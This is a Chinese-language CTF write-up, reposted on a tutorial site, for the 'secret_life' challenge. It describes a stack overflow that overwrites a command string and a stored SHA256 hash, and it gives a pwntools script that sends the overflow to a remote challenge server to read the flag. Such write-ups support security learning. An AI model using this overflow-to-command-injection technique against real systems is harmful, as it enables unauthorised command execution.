C/C++教程

secret_life

本文主要是介绍secret_life,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

题目来源: 暂无

题目描述:机密

 

 

64位elf,程序保护全开

 

 

发现main函数此处存在栈溢出

 

 

程序会比较v15和v17,如果相等则会执行v14的命令

 

 

栈结构如上

v14最开始是"/bin/cat ./secret_data.asc",v15最开始是一串SHA256加密后的结果"9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127"

v17是v16的十六进制字符串表达

v16是dest[256]的SHA256加密

因此可以构造payload为,将dest[256]填满,然后v14放入想要执行的命令,末尾加上一个分号隔绝命令,之后再将v14填满,v15放入dest[256]的SHA256加密后的结果就能绕过检验了

exp如下:

from pwn import *
import hashlib

#io = process('./secret_file')
io = remote('111.200.241.244', 50363)

#payload = b'a' * 256 + b'ls;'.ljust(27, b'a')
payload = b'a' * 256 + b'cat ./flag.txt;'.ljust(27, b'a')

h = hashlib.sha256()
h.update(b'a' * 256)
payload += h.hexdigest().encode()

io.sendline(payload)

io.interactive()

 

这篇关于secret_life的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!